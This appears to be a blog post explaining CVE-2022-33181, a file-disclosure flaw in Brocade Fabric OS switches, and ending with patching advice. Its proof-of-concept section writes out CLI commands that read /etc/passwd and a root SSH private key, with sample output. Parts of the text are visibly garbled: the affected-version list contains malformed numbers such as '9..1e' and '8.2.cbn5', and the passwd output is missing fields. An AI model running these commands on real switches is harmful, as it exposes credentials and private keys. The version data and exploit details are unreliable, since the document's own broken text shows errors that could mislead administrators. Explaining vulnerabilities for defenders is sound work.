In 2022, a significant vulnerability was discovered in Brocade Fabric OS, the software running on Brocade Fibre Channel switches. This vulnerability, tracked as CVE-2022-33181, allows any local, authenticated user to read sensitive system files using simple switch commands—even if they aren't supposed to have access.

This post breaks down the vulnerability in simple terms, shows you real-world examples, provides references, and gives advice on how administrators can fix or avoid exploitation.

Impacted Versions: Fabric OS CLI before v9.1., 9..1e, 8.2.3c, 8.2.cbn5, 7.4.2.j

- Attack Condition: Attacker must have valid CLI (Command Line Interface) login credentials—any local user.
- Impact: Attacker can use configshow and supportlink commands to view sensitive files they're not supposed to see.

> Quick summary: Even if a user doesn’t have admin permissions, they can see secrets by using a built-in command in the switch software.

How Does It Work?

The root cause is that Brocade Fabric OS did not properly limit what files the CLI commands could access, letting authenticated users ask the system to reveal sensitive information.

Traditionally, commands like configshow are supposed to display only safe configuration parameters. Due to poor filtering in these versions, attackers could pass file paths or parameters that point to sensitive locations (such as password files or secret config storage).

A Typical Exploit Scenario

Suppose Alice is a network assistant with only limited read-only access to the switch. With CVE-2022-33181, Alice can ask the system to spit back the contents of /etc/passwd, SSH keys, or other confidential files.

Proof-of-Concept Exploit

Let’s see a real example for a vulnerable switch (for educational purposes only!):

# Connect via CLI (SSH, Telnet, or console)
ssh alice@fc-switch

# Trying the vulnerable command
configshow /etc/passwd

# Or another:
supportlink /root/.ssh/id_rsa

# What it returns
root:x:::root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
# (full contents displayed)

What can be extracted?

- User info (/etc/passwd)
- Private SSH keys (/root/.ssh/id_rsa)

References

- NVD: CVE-2022-33181 Details
- Broadcom Brocade Advisory

Conclusion

CVE-2022-33181 shows how even simple command-line interfaces can leak dangerous secrets if their permissions aren’t tested thoroughly. If your Brocade Fibre Channel switches are running vulnerable versions, upgrade now and review your account security. This is a perfect example of why frequent patching and audits are so critical for infrastructure that handles sensitive data.

Stay secure!

*If you have more questions, check the original advisories or reach out to your Brocade support contact.*

Timeline

Published on: 10/25/2022 21:15:00 UTC
Last modified on: 03/02/2023 16:07:00 UTC